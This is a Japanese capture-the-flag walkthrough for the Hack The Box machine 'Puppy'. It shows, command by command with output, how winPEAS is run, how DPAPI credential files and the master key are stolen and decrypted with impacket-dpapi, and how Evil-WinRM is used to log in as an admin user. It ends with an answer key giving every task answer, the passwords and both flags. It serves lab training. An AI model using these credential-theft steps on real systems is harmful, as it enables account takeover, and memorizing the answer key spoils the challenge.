【参考】winPEASを用いたサーバの調査


(1) 攻撃対象のマシン(Puppy)上のprogramdata配下のフォルダ/ファイル一覧を確認する。

※steph.cooperユーザーでログインしている攻撃対象のマシン(Puppy)上で以下のコマンドを実行する。

$ cd /programdata



$ dir


    Directory: C:\programdata


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d---s-         2/19/2025  11:33 AM                Microsoft
d-----         7/24/2025  12:24 PM                Package Cache
d-----         2/23/2025   2:32 PM                regid.1991-06.com.microsoft
d-----          5/8/2021   1:20 AM                SoftwareDistribution
d-----          5/8/2021   2:36 AM                ssh
d-----         2/19/2025   3:41 AM                USOPrivate
d-----          5/8/2021   1:20 AM                USOShared
d-----          4/4/2025   3:40 PM                VMware


(2) Kali Linux上のwinPEASx64.exeを作業用ディレクトリにコピーする。

※Kali Linux上で以下のコマンドを実行する。

$ cp /usr/share/peass/winpeas/winPEASx64.exe ./


(3) winPEASx64.exeファイルを攻撃対象のマシン(Puppy)上にアップロードする。

※steph.cooperユーザーでログインしている攻撃対象のマシン(Puppy)上で以下のコマンドを実行する。

$ upload winPEASx64.exe


(4) winPEASx64.exeを実行し攻撃対象のマシン(Puppy)上の情報を確認する。

※steph.cooperユーザーでログインしている攻撃対象のマシン(Puppy)上で以下のコマンドを実行する。

$ ./winPEASx64.exe




DPAPI(Data Protection API)の認証情報取得


(1) Windows資格情報が格納されたファイルを確認すると、

「C:\Users\steph.cooper\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D」というファイルがあることが分かる。

※steph.cooperユーザーでログインしている攻撃対象のマシン(Puppy)上で以下のコマンドを実行する。

$ Get-ChildItem C:\Users\steph.cooper\AppData\Local\Microsoft\Credentials -Force


    Directory: C:\Users\steph.cooper\AppData\Local\Microsoft\Credentials


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a-hs-          3/8/2025   8:14 AM          11068 DFBE70A7E5CC19A398EBF1B96859CE5D


(2) Windows資格情報が格納されたファイルを確認すると、
「C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials\C8D69EBE9A43E9DEBF6B5FBD48B521B9」ファイルがあることが分かる。

※steph.cooperユーザーでログインしている攻撃対象のマシン(Puppy)上で以下のコマンドを実行する。

$ Get-ChildItem C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials -Force


    Directory: C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a-hs-          3/8/2025   7:54 AM            414 C8D69EBE9A43E9DEBF6B5FBD48B521B9


(3) Windowsの保護に関連するデータファイルを確認すると、
「C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107」というマスターキーファイルがあることが分かる。

※steph.cooperユーザーでログインしている攻撃対象のマシン(Puppy)上で以下のコマンドを実行する。

$ Get-ChildItem C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\ -Force


    Directory: C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d---s-         2/23/2025   2:36 PM                S-1-5-21-1487982659-1829050783-2281216199-1107
-a-hs-          3/8/2025   7:40 AM             24 CREDHIST
-a-hs-          3/8/2025   7:40 AM             76 SYNCHIST


(4) Windows資格情報が格納されたファイルをダウンロードする。

※steph.cooperユーザーでログインしている攻撃対象のマシン(Puppy)上で以下のコマンドを実行する。

$ copy \Users\steph.cooper\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D cred1
$ copy \Users\steph.cooper\AppData\Roaming\Microsoft\Credentials\C8D69EBE9A43E9DEBF6B5FBD48B521B9 cred2

$ attrib -s -h cred1
$ attrib -s -h cred2


$ download cred1
$ download cred2


(5) マスターキーファイルをダウンロードするためにファイルをコピーする。

※steph.cooperユーザーでログインしている攻撃対象のマシン(Puppy)上で以下のコマンドを実行する。

$ cd /programdata


$ mv 'C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107\556a2412-1275-4ccf-b721-e6a0b4f90407' '556a2412-1275-4ccf-b721e6a0b4f90407'


$ gci . -force


    Directory: C:\programdata


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d--hsl         2/19/2025  11:32 AM                Application Data
d--hsl         2/19/2025  11:32 AM                Desktop
d--hsl         2/19/2025  11:32 AM                Documents
d---s-         2/19/2025  11:33 AM                Microsoft
d-----         7/24/2025  12:24 PM                Package Cache
d-----         2/23/2025   2:32 PM                regid.1991-06.com.microsoft
d-----          5/8/2021   1:20 AM                SoftwareDistribution
d-----          5/8/2021   2:36 AM                ssh
d--hsl         2/19/2025  11:32 AM                Start Menu
d--hsl         2/19/2025  11:32 AM                Templates
d-----         2/19/2025   3:41 AM                USOPrivate
d-----          5/8/2021   1:20 AM                USOShared
d-----          4/4/2025   3:40 PM                VMware
-a-hs-          3/8/2025   7:40 AM            740 556a2412-1275-4ccf-b721e6a0b4f90407
--rhs-         5/14/2025   9:53 AM           6616 ntuser.pol


(6) マスターキーファイルをダウンロードする。

※steph.cooperユーザーでログインしている攻撃対象のマシン(Puppy)上で以下のコマンドを実行する。

$ attrib -s -h 556a2412-1275-4ccf-b721e6a0b4f90407


$ download 556a2412-1275-4ccf-b721e6a0b4f90407


(7) impacket-dpapiを用いてマスターキーを復号化すると、復号キーが「0xd9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84」であることが分かる。

※Kali Linux上で以下のコマンドを実行する。

$ impacket-dpapi masterkey -file 556a2412-1275-4ccf-b721e6a0b4f90407 -sid S-1-5-21-1487982659-1829050783-2281216199-1107 -password 'ChefSteph2025!'

Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[MASTERKEYFILE]
Version     :        2 (2)
Guid        : 556a2412-1275-4ccf-b721-e6a0b4f90407
Flags       :        0 (0)
Policy      : 4ccf1275 (1288639093)
MasterKeyLen: 00000088 (136)
BackupKeyLen: 00000068 (104)
CredHistLen : 00000000 (0)
DomainKeyLen: 00000174 (372)

Decrypted key with User Key (MD4 protected)
Decrypted key: 0xd9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84


(8) impacket-dpapiを用いてWindows資格情報ファイルを復号化すると、steph.cooper_admユーザーのパスワードが「FivethChipOnItsWay2025!」であることが分かる。

$ impacket-dpapi credential -file cred2 -key "0xd9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84"

【出力結果】
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[CREDENTIAL]
LastWritten : 2025-03-08 15:54:29+00:00
Flags       : 0x00000030 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH)
Persist     : 0x00000003 (CRED_PERSIST_ENTERPRISE)
Type        : 0x00000002 (CRED_TYPE_DOMAIN_PASSWORD)
Target      : Domain:target=PUPPY.HTB
Description :
Unknown     :
Username    : steph.cooper_adm
Unknown     : FivethChipOnItsWay2025!


Evil-WinRMを用いたsteph.cooper_admユーザー権限奪取


(1) steph.cooper_admユーザーの認証情報を用いてEvil-WinRMを実行すると、steph.cooper_admユーザーのプロンプトが表示される。

$ evil-winrm -i puppy.htb -u steph.cooper_adm -p 'FivethChipOnItsWay2025!'


(2) 現在ログインしているユーザー情報を確認すると、steph.cooper_admユーザーであることが分かる。

※steph.cooper_admユーザーでログインしている攻撃対象のマシン(Puppy)上で以下のコマンドを実行する。

$ whoami
puppy\steph.cooper_adm


(3) C:\Users\Administrator\Desktop配下のフォルダ/ファイルを確認すると、特権ユーザー用のフラグファイル(root.txt)があることが分かる。

※steph.cooper_admユーザーでログインしている攻撃対象のマシン(Puppy)上で以下のコマンドを実行する。

$ dir C:\Users\Administrator\Desktop


    Directory: C:\Users\Administrator\Desktop


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-ar---        10/19/2025   3:29 AM             34 root.txt


(4) 特権ユーザー用のフラグファイルの内容を確認する。

※steph.cooper_admユーザーでログインしている攻撃対象のマシン(Puppy)上で以下のコマンドを実行する。

$ type C:\Users\Administrator\Desktop\root.txt
8bdcabfcbc1543ffacb0313c9c9ae8c4


[補足] Guided ModeのQA


・Task 1

問題(英語訳):How many SMB shares are available on the remote system?
問題(日本語訳):リモート システムで使用できる SMB 共有はいくつありますか?

答え:6


・Task 2

問題(英語訳):Which group is levi.james a member of?
問題(日本語訳):levi.james はどのグループのメンバーですか?

答え:HR


・Task 3

問題(英語訳):In Bloodhound's terminology, which interesting permission does the HR group hold over the Developers group?
問題(日本語訳):Bloodhound の用語では、HR グループが開発者グループに対して持つ興味深い権限は何ですか?

答え:GenericWrite


・Task 4

問題(英語訳):After adding levi.james to the Developers group, which previously inaccessible share can we read?
問題(日本語訳):levi.james を開発者グループに追加した後、以前はアクセスできなかった共有はどれを読み取ることができますか?

答え:DEV


・Task 5

問題(英語訳):Which of the available files on the share is a KeePass database?
問題(日本語訳):共有上の利用可能なファイルのうち、どれが KeePass データベースですか?

答え:recovery.kdbx


・Task 6

問題(英語訳):After cracking the KeePass database's hash, what is the password found to be?
問題(日本語訳):KeePass データベースのハッシュを解読した後、パスワードは何であることがわかりますか?

答え:liverpool


・Task 7

問題(英語訳):Which user does one of the passwords in the KeePass database belong to?
問題(日本語訳):KeePass データベース内のパスワードの 1 つはどのユーザーのものですか?

答え:ant.edwards


・Task 8

問題(英語訳):In bloodhound's terminology, which permission does ant.edwards have over adam.silver's account?
問題(日本語訳):Bloodhound の用語では、ant.edwards は adam.silver のアカウントに対してどのような権限を持っているのでしょうか?

答え:GenericAll


・Submit User Flag

問題(英語訳):Submit the flag located on the adam.silver user's desktop.
問題(日本語訳):adam.silver ユーザーのデスクトップにあるフラグを送信します。

答え:95c3c3eb10da03884ba121d24a1b7d61
※「C:\Users\adam.silver\Desktop\user.txt」の内容。


・Task 10

問題(英語訳):What password can we retrieve from the website backup in C:\Backups?
問題(日本語訳):C:\Backups にあるウェブサイトのバックアップから取得できるパスワードは何ですか?

答え:ChefSteph2025!


・Task 11

問題(英語訳):What is the steph.cooper_adm account's password?
問題(日本語訳):steph.cooper_adm アカウントのパスワードは何ですか?

答え:FivethChipOnItsWay2025!


・Submit Root Flag

問題(英語訳):Submit the flag located on the administrator user's desktop.
問題(日本語訳):管理者ユーザーのデスクトップにあるフラグを送信します。

答え:8bdcabfcbc1543ffacb0313c9c9ae8c4
※「C:\Users\Administrator\Desktop\root.txt」の内容。


関連記事(Hack The Box)

※後日作成予定。